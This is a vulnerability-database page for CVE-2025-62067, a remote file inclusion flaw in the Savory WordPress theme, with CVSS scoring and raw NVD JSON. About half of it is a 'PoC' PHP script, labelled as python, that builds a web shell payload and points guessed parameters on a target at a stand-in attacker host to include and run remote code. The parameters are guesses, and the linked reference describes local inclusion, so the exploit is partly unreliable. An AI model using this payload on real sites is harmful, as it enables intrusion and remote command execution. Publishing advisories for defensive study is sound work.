Security Vulnerability Report
中文
CVE-2025-62067 CVSS 8.1 HIGH

CVE-2025-62067

Published: 2025-11-06 16:16:13
Last Modified: 2026-04-27 18:16:25

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Savory savory.This issue affects Savory: from n/a through <= 2.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Savory <= 2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-62067 PoC - Savory Theme Remote File Inclusion * Target: WordPress Savory Theme <= 2.5 * Vulnerability: PHP Remote File Inclusion (RFI) * * Usage: * 1. Start a PHP server to serve the malicious payload: * php -S 127.0.0.1:8080 * * 2. Host this PoC file as evil.php on your server * * 3. Send the request to the vulnerable target */ $target = 'http://target-site.com'; $attacker_server = 'http://attacker-server.com'; // Malicious PHP code to be executed on target $payload = '<?php system($_GET["cmd"]); ?>'; // Save payload locally (in real attack, this would be hosted) file_put_contents('shell.php', $payload); echo "[*] CVE-2025-62067 - Savory Theme RFI PoC\n"; echo "[*] Target: {$target}\n"; echo "[*] Attacker Server: {$attacker_server}\n\n"; // Identify the vulnerable parameter (typically 'file' or 'template') $vulnerable_params = [ 'file' => "{$attacker_server}/shell.php", 'template' => "{$attacker_server}/shell.php", 'page' => "{$attacker_server}/shell.php", 'action' => "{$attacker_server}/shell.php" ]; foreach ($vulnerable_params as $param => $value) { $url = "{$target}/wp-content/themes/savory/?{$param}={$value}"; echo "[+] Testing: {$param}=" . urlencode($value) . "\n"; echo "[+] URL: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200) { echo "[+] Potential vulnerability found!\n"; echo "[+] Visit: {$url}&cmd=whoami\n"; break; } } // Alternative: Direct POST-based exploitation echo "\n[*] Alternative POST exploitation:\n"; $data = http_build_query([ 'file' => "{$attacker_server}/shell.php" ]); echo "[+] POST data: {$data}\n"; echo "[+] Target endpoint: {$target}/wp-content/themes/savory/lib/download.php\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62067", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:12.763", "lastModified": "2026-04-27T18:16:25.257", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Savory savory.This issue affects Savory: from n/a through <= 2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/savory/vulnerability/wordpress-savory-theme-2-5-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}